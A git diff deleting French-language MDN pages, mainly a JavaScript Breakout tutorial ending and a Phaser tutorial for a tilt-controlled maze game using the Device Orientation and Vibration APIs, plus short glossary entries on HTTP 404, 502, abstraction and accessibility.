-                    b.status = 0;
-                    score++;
-                }
-            }
-        }
-    }
-}
- -

Appelez la fonction drawScore() dans la fonction draw() pour garder le score à jour à chaque nouvelle frame — ajoutez la ligne suivante dans la fonction draw(), en dessous de l'appel à drawPaddle() :

- -
drawScore();
- -

Ajoutez un message de victoire lorsque toutes les briques ont été détruites

- -

Le comptage des points fonctionne bien, mais vous ne les compterez pas indéfiniment. Alors qu'en est-il du score lorsque toutes les briques ont été détruites ? Après tout c'est l'objectif principal du jeu. Vous devez donc afficher un message de victoire si toutes les briques ont été détruites. Ajoutez la section mise en évidence dans votre fonction collisionDetection():

- -
function collisionDetection() {
-    for(var c=0; c<brickColumnCount; c++) {
-        for(var r=0; r<brickRowCount; r++) {
-            var b = bricks[c][r];
-            if(b.status == 1) {
-                if(x > b.x && x < b.x+brickWidth && y > b.y && y < b.y+brickHeight) {
-                    dy = -dy;
-                    b.status = 0;
-                    score++;
-                    if(score == brickRowCount*brickColumnCount) {
-                        alert("C'est gagné, Bravo!");
-                        document.location.reload();
-                        clearInterval(interval); // Needed for Chrome to end game
-                    }
-                }
-            }
-        }
-    }
-}
- -

Grâce à ça, les utilisateurs peuvent réellement gagner le jeu. La fonction document.location.reload() recharge la page et redémarre le jeu au clic sur le bouton d'alerte.

- -

Comparez votre code

- -

Le code réalisé fonctionne et ressemble à cela, au cas où vous voudriez le comparer avec le vôtre : 

- -

{{JSFiddleEmbed("https://jsfiddle.net/raymondjplante/b3z2Lpu9/","","395")}}

- -
-

Exercice: Ajoutez plus de points par brique touchée et indiquez le nombre de points gagnés dans la boîte d'alerte de fin de partie.

-
- -

Prochaine étape

- -

Le jeu est plutôt réussi à ce stade. Dans la prochaine leçon, vous le rendrez plus attraynt en ajoutant le contrôle à la souris.

- -

{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/detection_colisions", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls")}}

diff --git a/files/fr/games/workflows/html5_gamedev_phaser_device_orientation_fr/index.html b/files/fr/games/workflows/html5_gamedev_phaser_device_orientation_fr/index.html deleted file mode 100644 index 1a3c93c7d1..0000000000 --- a/files/fr/games/workflows/html5_gamedev_phaser_device_orientation_fr/index.html +++ /dev/null @@ -1,443 +0,0 @@ ---- -title: Jeu 2D avec l'API Device orientation -slug: Games/Workflows/HTML5_Gamedev_Phaser_Device_Orientation_FR -translation_of: Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation ---- -
{{GamesSidebar}}

{{IncludeSubnav("/fr/docs/Jeux")}}  

- -

Dans ce tutoriel, nous allons passer par le processus de construction d'un jeu mobile HTML5 qui utilise les API  Device Orientation  et Vibration   pour améliorer le "gameplay" et est construit avec le "framework" Phaser . La connaissance JavaScript de base est recommandée pour tirer le meilleur parti de ce tutoriel.

- -

Exemple de jeu

- -

A la fin de ce tutoriel, vous aurez une démo entièrement fonctionnelle du jeu : Cyber Orb. Il ressemblera à quelque chose comme cela :

- -

A 2D game board featuring a small yellow ball. There is a large black hole for the ball to escape down, and a number of barriers blocking the ball from escaping.

- -

Le framework Phaser

- -

Phaser est un framework pour créer des jeux mobiles et PC en utilisant les technologies HTML5. Malgré son manque de maturité, la communauté est assez active, et il évolue rapidement.  Les sources sont sur Github, lisez y la documentation de base, jetez un œil aux exemples. Le framework Phaser offre un ensemble d'outils qui permettent d'accélérer le développement et aident à mettre en oeuvre les tâches courantes nécessaires au développement d'un  jeu.

- -

Mise en place du projet

- -

Vous pouvez voir le code d'exemple du projet sur GitHub. La structure n'est pas compliquée : le point de départ est le fichier index.html où nous initialisons le framework, mettons en place le {{htmlelement("canvas")}} et jouons au jeu.

- -

Screenshot of the GitHub repository with the Cyber Orb game code, listing the folders and the files in the main structure.

- -

Vous pouvez l'ouvir avec votre navigateur préféré pour essayer le jeu. Il y a aussi trois dossiers :

- -
    -
  • img : toutes les images utilisées dans le jeu
    • -
  • src : les fichiers JavaScript où le code source est défini
    • -
  • audio : tous les fichiers son du jeu
    • -
- -

Mettre en place le canevas

- -

Nous voulons un rendu de notre jeu sur un canevas, mais nous ne le ferons pas manuellement - cela sera pris en charge par le framework. Disons-le : notre point de départ est le fichier index.html avec le contenu suivant. Vous pouvez créer vous-même si vous voulez suivre :

- -
<!DOCTYPE html>
-<html>
-<head>
-    <meta charset="utf-8" />
-    <title>Cyber Orb demo</title>
-    <style> body { margin: 0; background: #333; } </style>
-    <script src="src/phaser-arcade-physics.2.2.2.min.js"></script>
-    <script src="src/Boot.js"></script>
-    <script src="src/Preloader.js"></script>
-    <script src="src/MainMenu.js"></script>
-    <script src="src/Howto.js"></script>
-    <script src="src/Game.js"></script>
-</head>
-<body>
-<script>
-(function() {
-    var game = new Phaser.Game(320, 480, Phaser.CANVAS, 'game');
-    game.state.add('Boot', Ball.Boot);
-    game.state.add('Preloader', Ball.Preloader);
-    game.state.add('MainMenu', Ball.MainMenu);
-    game.state.add('Howto', Ball.Howto);
-    game.state.add('Game', Ball.Game);
-    game.state.start('Boot');
-})();
-</script>
-</body>
-</html>
- -

Ça ressemble à une simple page de site HTML avec des éléments basiques dans la balise <head> (en-tête) : police de caractères, titre, CSS et inclusion des fichiers Javascript. Le <body> (corps) contient l'initialisation du framework et la définition des états du jeu.

- -
var game = new Phaser.Game(320, 480, Phaser.CANVAS, 'game');
- -

La ligne ci-dessus va initialiser l'instance de Phaser - les arguments sont la largeur et la hauteur du canevas, la méthode de rendu (nous utilisons CANVAS, mais il y a aussi les options WEBGL et AUTO disponibles) et l'ID optionnel du conteneur DOM dans lequel nous voulons placer le canevas. Si rien n'est spécifié dans ce dernier argument, ou si l'élément n'est pas trouvé, le canvas sera ajouté à la balise <body>. Sans le framework, pour ajouter l'élément canvas à la page, il faudrait écrire quelque chose comme ça dans la balise <body>:

- -
<canvas id='game' width='320' height='480'></canvas>
- -

La chose importante à retenir est que le framework met en place des méthodes utiles pour accélérer beaucoup de choses comme la manipulation d'images ou la gestion des éléments, ce qui serait beaucoup plus difficile à faire manuellement.

- -
-

Note : Vous pouvez lire l'article Building Monster Wants Candy pour une introduction approfondie aux fonctions et méthodes de base de Phaser.

-
- -

Retour aux états du jeu : la ligne ci-dessous ajoute un nouvel état appelé Boot au jeu :

- -
game.state.add('Boot', Ball.Boot);
- -

La première valeur est le nom de l'état et la seconde est l'objet que nous voulons lui assigner. La méthode start démarre l'état donné et le rend actif. Voyons ce que les états sont en réalité. 

- -

Gestion des états du jeu

- -

Les états du jeu dans Phaser sont différentes phases du jeu. Dans notre cas, ils sont chargés depuis des fichiers Javascript pour mieux les maintenir par la suite. Dans ce jeu nous avons les états : Boot (démarrage), Preloader (préchargement), MainMenu (menu principal),  Howto (comment jouer) et Game (jeu). Boot s'occupe d'initialiser quelques paramètres, Preloader charge tous les graphismes et les sons, MainMenu est le menu avec le bouton start, Howto affiche les instructions "comment jouer" et Game, est l'état qui permet de  jouer. Passons rapidement au contenu de ces états.

- -

Boot.js (démarrage)

- -

L'état Boot est le premier du jeu.

- -
var Ball = {
-    _WIDTH: 320,
-    _HEIGHT: 480
-};
-Ball.Boot = function(game) {};
-Ball.Boot.prototype = {
-    preload: function() {
-        this.load.image('preloaderBg', 'img/loading-bg.png');
-        this.load.image('preloaderBar', 'img/loading-bar.png');
-    },
-    create: function() {
-        this.game.scale.scaleMode = Phaser.ScaleManager.SHOW_ALL;
-        this.game.scale.pageAlignHorizontally = true;
-        this.game.scale.pageAlignVertically = true;
-        this.game.state.start('Preloader');
-    }
-};
- -

Le principal objet "Ball"  est défini et nous ajoutons deux variables appelées _WIDTH et _HEIGHT qui sont la largeur et la hauteur du caneva du jeu — elles nous aideront à positionner les éléments à l'écran. Nous chargeons d'abord deux images qui seront utilisées plus tard dans l'état Preload (préchargement) pour montrer la progression du chargement de tous les autres éléments. La fonction create contient une configuration de base : nous configurons la mise à l'échelle et l'alignement du canevas et passons à l'état Preload lorsque tout est prêt.

- -

Preloader.js (préchargement)

- -

L'état Preloader prend soin de charger tous les éléments :

- -
Ball.Preloader = function(game) {};
-Ball.Preloader.prototype = {
-    preload: function() {
-        this.preloadBg = this.add.sprite((Ball._WIDTH-297)*0.5, (Ball._HEIGHT-145)*0.5, 'preloaderBg');
-        this.preloadBar = this.add.sprite((Ball._WIDTH-158)*0.5, (Ball._HEIGHT-50)*0.5, 'preloaderBar');
-        this.load.setPreloadSprite(this.preloadBar);
-
-        this.load.image('ball', 'img/ball.png');
-        // ...
-        this.load.spritesheet('button-start', 'img/button-start.png', 146, 51);
-        // ...
-        this.load.audio('audio-bounce', ['audio/bounce.ogg', 'audio/bounce.mp3', 'audio/bounce.m4a']);
-    },
-    create: function() {
-        this.game.state.start('MainMenu');
-    }
-};
- -

Il y a des images uniques, des feuilles de "sprites" et des fichiers audio chargés par le "framework". Dans cet état, la preloadBar (barre du préchargement) affiche la progression à l'écran. Cette progression des éléments chargés est visualisée par le framework avec l'utilisation d'une image. Avec chaque élément chargé, vous pouvez voir plus de l'image preloadBar: de 0% à 100%, mis à jour sur chaque image. Une fois que tous les éléments sont chargés, l'état MainMenu est lancé.

- - - -

L'état MainMenu montre le menu principal du jeu, sur lequel vous pouvez lancer le jeu en cliquant sur le bouton.

- -
Ball.MainMenu = function(game) {};
-Ball.MainMenu.prototype = {
-    create: function() {
-        this.add.sprite(0, 0, 'screen-mainmenu');
-        this.gameTitle = this.add.sprite(Ball._WIDTH*0.5, 40, 'title');
-        this.gameTitle.anchor.set(0.5,0);
-        this.startButton = this.add.button(Ball._WIDTH*0.5, 200, 'button-start', this.startGame, this, 2, 0, 1);
-        this.startButton.anchor.set(0.5,0);
-        this.startButton.input.useHandCursor = true;
-    },
-    startGame: function() {
-        this.game.state.start('Howto');
-    }
-};
- -

Pour créer un nouveau bouton, il y a la méthode add.button avec la liste suivante d'arguments facultatifs :

- -
    -
  • position absolue supérieure sur Canvas en pixels.
    • -
  • position gauche absolue sur Canvas en pixels.
    • -
  • nom de l'élément image utilisé par le bouton.
    • -
  • fonction qui doit être exécutée quand quelqu'un clique sur le bouton.
    • -
  • le contexte d'exécution.
    • -
  • cadre de l'objet image utilisé comme état du bouton "hover" (flottant) .
    • -
  • cadre de l'objet image utilisé comme état du bouton "normal" ou "out" (en dehors).
    • -
  • cadre de l'objet image utilisé comme état du bouton "click" ou "down" (en bas).
    • -
- -

Anchor.set configure le point d'ancrage du bouton sur lequel tous les calculs de la position sont appliqués. Dans notre cas, il est ancré à mi-chemin du bord gauche et au début du bord supérieur, de sorte qu'il peut être facilement centré horizontalement sur l'écran sans avoir besoin de connaître sa largeur.

- -

Lorsque le bouton de démarrage est enfoncé, au lieu de sauter directement dans l'action, le jeu affichera l'écran avec les informations sur la façon de jouer.

- -

Howto.js (comment jouer)

- -
Ball.Howto = function(game) {
-};
-Ball.Howto.prototype = {
-    create: function() {
-        this.buttonContinue = this.add.button(0, 0, 'screen-howtoplay', this.startGame, this);
-    },
-    startGame: function() {
-        this.game.state.start('Game');
-    }
-};
- -

L'état Howto affiche les instructions du jeu à l'écran avant de commencer le jeu. Après avoir cliqué sur l'écran, le jeu réel est lancé.

- -

Game.js (jeu)

- -

L'état game à partir du fichier Game.js est le lieu où toute la magie opère. Toute l'initialisation est dans la fonction create () (lancée une fois au début du jeu). Après cela, certaines fonctionnalités nécessiteront d'autres codes à contrôler — nous écrirons nos propres fonctions pour gérer des tâches plus complexes. En particulier, notez  la fonction update () exécutée à chaque frame, qui met à jour des choses telles que la position de la balle.

- -
Ball.Game = function(game) {};
-Ball.Game.prototype = {
-    create: function() {},
-    initLevels: function() {},
-    showLevel: function(level) {},
-    updateCounter: function() {},
-    managePause: function() {},
-    manageAudio: function() {},
-    update: function() {},
-    wallCollision: function() {},
-    handleOrientation: function(e) {},
-    finishLevel: function() {}
-};
- -

Les fonctions create et update sont spécifiques au framework, tandis que d'autres seront nos créations :

- -
    -
  • initLevels initialise les données de niveau.
    • -
  • showLevel affiche à l'écran les données du niveau.
    • -
  • updateCounter met à jour le temps passé à jouer chaque niveau et enregistre le temps total passé à jouer sur le jeu. 
    • -
  • managePause met en pause et reprend le jeu.
    • -
  • manageAudio allume et éteint le son.
    • -
  • wallCollision est exécuté quand la balle frappe les murs ou d'autres objets.
    • -
  • handleOrientation est la fonction liée à l'événement responsable de l'API d'orientation des périphériques, fournissant les contrôles de mouvement lorsque le jeu est en cours d'exécution sur un périphérique mobile avec le matériel approprié.
    • -
  • finishLevel charge un nouveau niveau lorsque le niveau actuel est terminé ou termine le jeu si le niveau final est terminé.
    • -
- -

Ajout de la balle et de ses mécanismes de mouvement

- -

D'abord, dans la fonction create, initialisons l'objet 'ball' et assignons lui quelques propriétés :

- -
ball = this.add.sprite((320-22)/2, 450, 'ball');
-ball.anchor.setTo(0.5, 0.5);
-ball.body.bounce.setTo(0.3, 0.3);
-ball.body.setCircle(10, 11, 11);
-ball.body.linearDamping = 1;
- -

On ajoute un "sprite" à une place donnée sur l'écran en utilisant l'image 'ball'. On ajoute aussi le point de repère de tous les calculs physiques ( 'anchor' ) au milieu de la balle,  permettant au moteur physique d'arcade (qui gère toute la physique du mouvement de la balle) et en définissant la taille du corps pour la détection de collision . La propriété bounce est utilisée pour définir le rebondissement de la balle quand elle frappe les obstacles.

- -

Contrôle de la balle

- -

C'est déjà sympa d'avoir une balle prête à être lancée dans la zone de jeu, mais c'est aussi important de pouvoir le faire. Maintenant on va ajouter la possibilité de contrôler la balle avec le clavier sur les ordinateurs, et ensuite on ajoutera l'implémentation de l'API  Device Orientation ( gyroscope). Maintenant, concentrons-nous sur le clavier en ajoutant la ligne suivante pour la fonction create() :

- -
this.keys = this.game.input.keyboard.createCursorKeys();
- -

Comme vous pouvez le voir, Phaser a une fonction spéciale  createCursorKeys() qui nous donnera un objet avec des gestionnaires d'événements pour les quatre touches fléchées : haut, bas, gauche et droite. 

- -

Ensuite, nous allons ajouter le code suivant dans la fonction update (), il sera lancé à chaque "frame". L'objet this.keys sera vérifié aux pressions de touche du joueur, la balle réagira donc en conséquence :

- -
if(this.keys.left.isDown) {
-    this.ball.body.velocity.x -= this.movementForce;
-}
-else if(this.keys.right.isDown) {
-    this.ball.body.velocity.x += this.movementForce;
-}
-if(this.keys.up.isDown) {
-    this.ball.body.velocity.y -= this.movementForce;
-}
-else if(this.keys.down.isDown) {
-    this.ball.body.velocity.y += this.movementForce;
-}
- -

De cette manière on peut vérifier quelle touche est pressée à un moment donné et appliquer une force définie à la balle, ce qui a pour effet d'augmenter sa vélocité dans la bonne direction.

- -

Implémentation de l'API Device Orientation (gyroscopique)

- -

La particularité du jeu est qu'il utilise l'API gyroscopique sur les mobiles. Grâce à elle, vous pouvez jouer au jeu en inclinant l'appareil dans la direction où vous voulez que la balle aille. Voilà le code de la fonction  create() qui l'implémente :

- -
window.addEventListener("deviceorientation", this.handleOrientation, true);
- -

L'ajout d'un évènement "listener" à l'évenement "deviceorientation" et la modification de la fonction handleOrientationressembleront à ceci :

- -
handleOrientation: function(e) {
-    var x = e.gamma;
-    var y = e.beta;
-    Ball._player.body.velocity.x += x;
-    Ball._player.body.velocity.y += y;
-}
- -

Plus l'appareil est incliné, plus la force appliquée à la balle et sa vélocité sont importantes.

- -

An explanation of the X, Y and Z axes of a Flame mobile device with the Cyber Orb game demo on the screen.

- -
-

Note: Pour en savoir plus sur l'implémentation de l'orientation du périphérique et sur le code brut, lisez Gardez-le au niveau : en réponse aux changements d'orientation du périphérique. 

-
- -

Ajout du trou

- -

L'objectif principal du jeu est de déplacer la balle du point de départ vers le point d'arrivée, qui est dans notre cas, un trou dans le sol. L'implémentation ressemble beaucoup à celle de la création de la balle et est ajoutée dans la fonction create() de l'état Game :

- -
this.hole = this.add.sprite(Ball._WIDTH*0.5, 90, 'hole');
-this.physics.enable(this.hole, Phaser.Physics.ARCADE);
-this.hole.anchor.set(0.5);
-this.hole.body.setSize(2, 2);
- -

La seule différence est que 'hole.body' est mis à immovable(fixe), il ne bougera donc pas quand la balle le touchera et la collision sera alors calculée ( ce point sera approfondit plus loin dans cet article ).

- -

Création du mur du labyrinthe

- -

Pour rendre le jeu plus difficile et plus intéressant, nous allons ajouter des obstacles entre la balle et la sortie. Nous pourrions utiliser un éditeur de niveau, mais pour ce tutoriel, créons quelque chose par nous-mêmes.

- -

Pour conserver les informations du bloc, nous utiliserons un tableau de données de niveau : pour chaque bloc, nous stockons les positions absolues supérieure et gauche en pixels (x et y) et le type du bloc - horizontal ou vertical (t avec le 'w 'valeur signifiant largeur et' h 'signifiant hauteur). Ensuite, pour charger le niveau, nous allons analyser les données et afficher les blocs spécifiques à ce niveau. Dans la fonction initLevels, nous avons :

- -
this.levelData = [
-    [
-        { x: 96, y: 224, t: 'w' }
-    ],
-    [
-        { x: 72, y: 320, t: 'w' },
-        { x: 200, y: 320, t: 'h' },
-        { x: 72, y: 150, t: 'w' }
-    ],
-    // ...
-];
- -

Chaque élément de tableau contient une collection de blocs avec une position x et y et une valeur t pour chacun. Après levelData, mais toujours dans la fonction initLevels, nous ajoutons les blocs dans un tableau de la boucle for en utilisant certaines des méthodes spécifiques au framework :

- -
for(var i=0; i<this.maxLevels; i++) {
-    var newLevel = this.add.group();
-    newLevel.enableBody = true;
-    newLevel.physicsBodyType = Phaser.Physics.ARCADE;
-    for(var e=0; e<this.levelData[i].length; e++) {
-        var item = this.levelData[i][e];
-        newLevel.create(item.x, item.y, 'element-'+item.t);
-    }
-    newLevel.setAll('body.immovable', true);
-    newLevel.visible = false;
-    this.levels.push(newLevel);
-}
- -

Tout d'abord, add.group () est utilisé pour créer un nouveau groupe d'éléments. Ensuite, le type de corps ARCADE est défini pour ce groupe pour activer les calculs physiques. La méthode newLevel.create crée de nouveaux éléments dans le groupe avec les positions de départ haut et gauche et sa propre image. Si vous ne souhaitez pas parcourir à nouveau la liste des éléments pour ajouter explicitement une propriété à chacun d'eux, vous pouvez utiliser setAll sur un groupe pour l'appliquer à tous les éléments de ce groupe.
-
- Les objets sont stockés dans le tableau this.levels, qui est ,par défaut, invisible. Pour charger des niveaux spécifiques, nous nous assurons que les niveaux précédents sont cachés et affichent le niveau actuel :

- -
showLevel: function(level) {
-    var lvl = level | this.level;
-    if(this.levels[lvl-2]) {
-        this.levels[lvl-2].visible = false;
-    }
-    this.levels[lvl-1].visible = true;
-}
- -

Grâce à cela, le jeu donne au joueur un défi : il doit maintenant rouler la balle à travers l'aire de jeu et la guider dans le labyrinthe construit à partir des blocs. C'est juste un exemple de chargement des niveaux, et il n'y a que 5, juste pour présenter l'idée, mais vous pouvez travailler à l'étendre par vous-même.

- -

Détection de collision

- -

À ce stade, nous avons la balle qui est contrôlée par le joueur, le trou à atteindre et les obstacles qui bloquent la route. Il y a un problème cependant : notre jeu n'a pas encore de détection de collision, donc il ne se passe rien quand la balle frappe les blocs, elle passe juste à travers. Réparons-le ! Les bonnes nouvelles sont que le cadre se chargera de calculer la détection de collision, il suffit de spécifier les objets en collision dans la fonction update () :

- -
this.physics.arcade.collide(this.ball, this.borderGroup, this.wallCollision, null, this);
-this.physics.arcade.collide(this.ball, this.levels[this.level-1], this.wallCollision, null, this);
- -

Cela dira à la structure d'exécuter la fonction wallCollision lorsque la balle frappe l'un des murs. Nous pouvons utiliser la fonction wallCollision pour ajouter toutes les fonctionnalités que nous voulons comme jouer le son du rebondissement et implémenter l'API Vibration.

- -

Ajout de son

- -

Parmi les éléments préchargés, il y avait une piste audio (dans différents formats pour la compatibilité avec les navigateurs), que nous pouvons utiliser maintenant. Il doit d'abord être défini dans la fonction create () :

- -
this.bounceSound = this.game.add.audio('audio-bounce');
- -

Si l'état de l'audio est true (vrai) (les sons du jeu sont activés), nous pouvons le jouer dans la fonction wallCollision:

- -
if(this.audioStatus) {
-    this.bounceSound.play();
-}
- -

C'est tout - charger et jouer les sons est facile avec Phaser.

- -

Implementing the Vibration API

- -

Lorsque la détection de collision fonctionne comme prévu, ajoutons quelques effets spéciaux avec l'aide de l'API Vibration.

- -

A visualization of the vibrations of a Flame mobile device with the Cyber Orb game demo on the screen.

- -

La meilleure façon de l'utiliser dans notre cas est de faire vibrer le téléphone chaque fois que la balle frappe les murs, à l'intérieur de la fonction wallCollision :

- -
if("vibrate" in window.navigator) {
-    window.navigator.vibrate(100);
-}
- -

Si la méthode vibrate est prise en charge par le navigateur et disponible dans l'objet window.navigator, faites vibrer le téléphone pendant 100 millisecondes. C'est tout !

- -

Ajout du temps écoulé

- -

Pour améliorer la rejouabilité et donner aux joueurs l'option de rivaliser les uns avec les autres, nous pouvons introduire le temps écoulé. Grâce à cela, le joueur peut jouer les niveaux encore et encore en essayant d'améliorer son score. Pour implémenter cela dans le jeu, nous devons créer une variable pour stocker le nombre réel de secondes écoulées depuis le début du jeu et le montrer au joueur dans le jeu. Définissons d'abord la variable :

- -
this.timer = 0; // time elapsed in the current level
-this.totalTimer = 0; // time elapsed in the whole game
- -

Ensuite, juste après, nous pouvons initialiser les objets texte nécessaires à l'affichage de cette information pour l'utilisateur:

- -
this.timerText = this.game.add.text(15, 15, "Time: "+this.timer, this.fontBig);
-this.totalTimeText = this.game.add.text(120, 30, "Total time: "+this.totalTimer, this.fontSmall);
- -

Nous définissons les positions supérieure et gauche du texte, le contenu qui sera affiché et le style appliqué au texte. Nous l'avons imprimé à l'écran, mais il serait bon de mettre à jour les valeurs toutes les secondes :

- -
this.time.events.loop(Phaser.Timer.SECOND, this.updateCounter, this);
- -

Cette boucle, également dans la fonction create , exécutera la fonction updateCounter à chaque seconde du début du jeu afin que nous puissions appliquer les modifications en conséquence. Voici à quoi ressemble la fonction updateCounter complète :

- -
updateCounter: function() {
-    this.timer++;
-    this.timerText.setText("Time: "+this.timer);
-    this.totalTimeText.setText("Total time: "+(this.totalTimer+this.timer));
-},
- -

Comme vous pouvez le voir, nous incrémentons la variable this.timer et mettons à jour le contenu des objets texte avec les valeurs actuelles à chaque itération, de sorte que le joueur voit le temps écoulé.

- -

Finition du niveau et du jeu

- -

La balle tourne sur l'écran, le minutage fonctionne et nous avons le trou créé que nous devons atteindre. Maintenant, mettons en place la possibilité de finir le niveau ! La ligne suivante de la fonction update () ajoute un écouteur qui se déclenche lorsque la balle arrive au trou.

- -
this.physics.arcade.overlap(this.ball, this.hole, this.finishLevel, null, this);
- -

Cela fonctionne de la même manière que la méthode collide expliquée précédemment. Lorsque la balle chevauche le trou (au lieu de collision), la fonction finishLevel est exécutée :

- -
finishLevel: function() {
-    if(this.level >= this.maxLevels) {
-        this.totalTimer += this.timer;
-        alert('Congratulations, game completed!\nTotal time of play: '+this.totalTimer+' seconds!');
-        this.game.state.start('MainMenu');
-    }
-    else {
-        alert('Congratulations, level '+this.level+' completed!');
-        this.totalTimer += this.timer;
-        this.timer = 0;
-        this.level++;
-        this.timerText.setText("Time: "+this.timer);
-        this.totalTimeText.setText("Total time: "+this.totalTimer);
-        this.levelText.setText("Level: "+this.level+" / "+this.maxLevels);
-        this.ball.body.x = this.ballStartPos.x;
-        this.ball.body.y = this.ballStartPos.y;
-        this.ball.body.velocity.x = 0;
-        this.ball.body.velocity.y = 0;
-        this.showLevel();
-    }
-},
- -

Si le niveau actuel est égal au nombre maximum de niveaux (dans ce cas, 5), le jeu est terminé - vous recevrez un message de félicitations avec le nombre de secondes écoulées pendant toute la partie et un clique sur un bouton vous ramène au menu principal.

- -

Si le niveau actuel est inférieur à 5, toutes les variables nécessaires sont réinitialisées et le niveau suivant est chargé.

- -

Idées pour de nouvelles fonctionnalités

- -

Ceci est simplement une démonstration de travail d'un jeu qui pourrait avoir beaucoup de fonctionnalités supplémentaires. Nous pouvons par exemple ajouter des "power-ups" à collecter en cours de route qui feront rouler notre balle plus rapidement, arrêter le chronomètre pendant quelques secondes ou donner à la balle des pouvoirs spéciaux pour traverser les obstacles. Il y a aussi de la place pour les pièges qui ralentiront la balle ou rendront le but plus difficile à atteindre. Vous pouvez créer plus de niveaux de difficulté croissante. Vous pouvez même mettre en œuvre des trophées, des classements et des médailles pour différentes actions du jeu. Il y a des possibilités infinies - elles ne dépendent que de votre imagination.

- -

Résumé

- -

J'espère que ce tutoriel vous aidera à plonger dans le développement de jeux en 2D et vous inspirera pour créer des jeux géniaux par vous-même. Vous pouvez jouer au jeu de démonstration Cyber Orb et consulter son code source sur GitHub.

- -

HTML5 nous donne des outils bruts, les frameworks construits au-dessus deviennent plus rapides et meilleurs, alors c'est un bon moment pour le développement de jeux web. Dans ce tutoriel, nous avons utilisé Phaser, mais il existe un certain nombre d' autres frameworks qui méritent d'être considérés aussi, comme ImpactJS, Construct 2 ou PlayCanvas — cela dépend de vos préférences, de vos compétences en codage (ou de leur absence), de l'échelle du projet, des exigences et d'autres aspects. Vous devriez les regarder tous et décider lequel convient le mieux à vos besoins.

diff --git a/files/fr/games/workflows/index.html b/files/fr/games/workflows/index.html deleted file mode 100644 index a518d5ea72..0000000000 --- a/files/fr/games/workflows/index.html +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Workflows for different game types -slug: Games/Workflows -tags: - - Canvas - - JavaScript - - Jeux - - Web -translation_of: Games/Tutorials ---- -
{{GamesSidebar}}

 

- -
{{IncludeSubnav("/fr/docs/Jeux")}}
- -

Cette page contient plusieurs séries de tutoriels qui mettent en évidence différentes démarches pour créer efficacement différents types de jeux Web.

- -
-
Jeu 2D avec du pur JavaScript
-
Dans ce tutoriel étape par étape, vous implémenterez un jeu en utilisant du pur JavaScript. En cours de route, vous apprendrez les bases de l'utilisation de l'élément {{htmlelement ("canvas")}} pour implémenter les mécanismes fondamentaux du jeu tels que le rendu et les images en mouvement, la détection de collision, les mécanismes de contrôle et les états gagnants et perdants.
-
Jeu 2D avec Phaser
-
Dans ce tutoriel étape par étape, vous implémenterez un jeu en utilisant le framework de jeu HTML5 Phaser . Cette idée ici est d'enseigner quelques-uns des fondamentaux (et des avantages) de travailler avec des cadres (frameworks), avec les mécanismes de jeu.
-
Jeu 2D avec API Device orientation
-
Ce tutoriel montre comment créer un jeu de labyrinthe en 2D en utilisant HTML5, en intégrant des principes fondamentaux tels que la détection de collision et le placement de "sprites" sur un {{htmlelement ("canvas")}}. Il s'agit d'un jeu mobile qui utilise les API Device Orientation et Vibration, pour améliorer le gameplay, et est construit en utilisant le framework Phaser .
-
Jeu de plateforme 2D avec Phaser
-
Cette série de tutoriels montre comment créer un jeu de plateforme simple à l'aide de Phaser , couvrant les fondamentaux tels que les "sprites", les collisions, la physique, les objets de collection et plus encore.
-
- -

 

diff --git a/files/fr/glossaire/404/index.html b/files/fr/glossaire/404/index.html deleted file mode 100644 index 53408ae513..0000000000 --- a/files/fr/glossaire/404/index.html +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: '404' -slug: Glossaire/404 -tags: - - Erreurs - - Glossaire - - HTTP - - Infrastructure - - Navigation -translation_of: Glossary/404 ---- -

Une erreur 404 est un code de réponse standard indiquant que la ressource demandée ne peut être trouvée par le {{Glossary("Server", "serveur")}}.

- -

En apprendre plus

- - diff --git a/files/fr/glossaire/502/index.html b/files/fr/glossaire/502/index.html deleted file mode 100644 index 09cea4e3ff..0000000000 --- a/files/fr/glossaire/502/index.html +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: '502' -slug: Glossaire/502 -tags: - - '502' - - Erreurs - - Glossaire - - HTTP - - Infrastructure - - Navigation -translation_of: Glossary/502 ---- -

Le code erreur {{Glossary("HTTP")}} correspond à « Bad Gateway ».

- -

Un {{Glossary("Server", "serveur")}} peut agir en tant que passerelle ou proxy (intermédiaire) entre un client (comme votre navigateur internet) et un serveur distant. Quand vous faites une requête pour accéder à une {{Glossary("URL")}}, le serveur passerelle va relayer votre demande au serveur distant. Le code erreur "502" signifie que le serveur distant a retourné une réponse invalide.

- -

En temps normal, le serveur distant peut répondre (c'est-à-dire qu'il a la possibilité de fournir une réponse à la passerelle/proxy), mais ne supporte pas le même protocole d'échange de données que la passerelle/proxy. Le {{Glossary("Protocol", "protocole")}} internet est sans équivoque et le code erreur 502 est généralement utilisé quand l'une des deux machines est incorrectement ou incomplètement configurée.

diff --git a/files/fr/glossaire/abstraction/index.html b/files/fr/glossaire/abstraction/index.html deleted file mode 100644 index 445d226c79..0000000000 --- a/files/fr/glossaire/abstraction/index.html +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Abstraction -slug: Glossaire/Abstraction -tags: - - Abstraction - - Codage - - Code - - Encodage - - Glossaire - - Langage de programmation -translation_of: Glossary/Abstraction ---- -

L'Abstraction dans le domaine de la {{Glossary("Computer programming","programmation informatique")}} permet de réduire la complexité et d'obtenir une conception et une implémentation plus efficaces dans les systèmes logiciels complexes. Elle dissimule les complexités techniques des systèmes derrière des {{Glossary("API")}} plus simples à manipuler.

- -

Pour approfondir

- -

Culture générale

- -
    -
  • {{interwiki("wikipedia", "Abstraction_(informatique)", "Abstraction")}} sur Wikipédia.
    • -
diff --git "a/files/fr/glossaire/accessibilit\303\251/index.html" "b/files/fr/glossaire/accessibilit\303\251/index.html" deleted file mode 100644 index e28c48eb63..0000000000 --- "a/files/fr/glossaire/accessibilit\303\251/index.html" +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Accessibilité -slug: Glossaire/Accessibilité -tags: - - Accessibilité - - Glossaire -translation_of: Glossary/Accessibility ---- -

L'Accessibilité du web (A11Y) correspond aux bonnes pratiques assurant qu'un site web reste utilisable indépendamment des conditions de navigation et possibles handicaps de l'utilisateur. L'accessibilité du web est définie formellement et discutée au {{Glossary("W3C")}} au travers de la {{Glossary("WAI","Web Accessibility Initiative")}} (WAI).

- -

Pour approfondir

- -

Culture générale

- - - -

Informations techniques

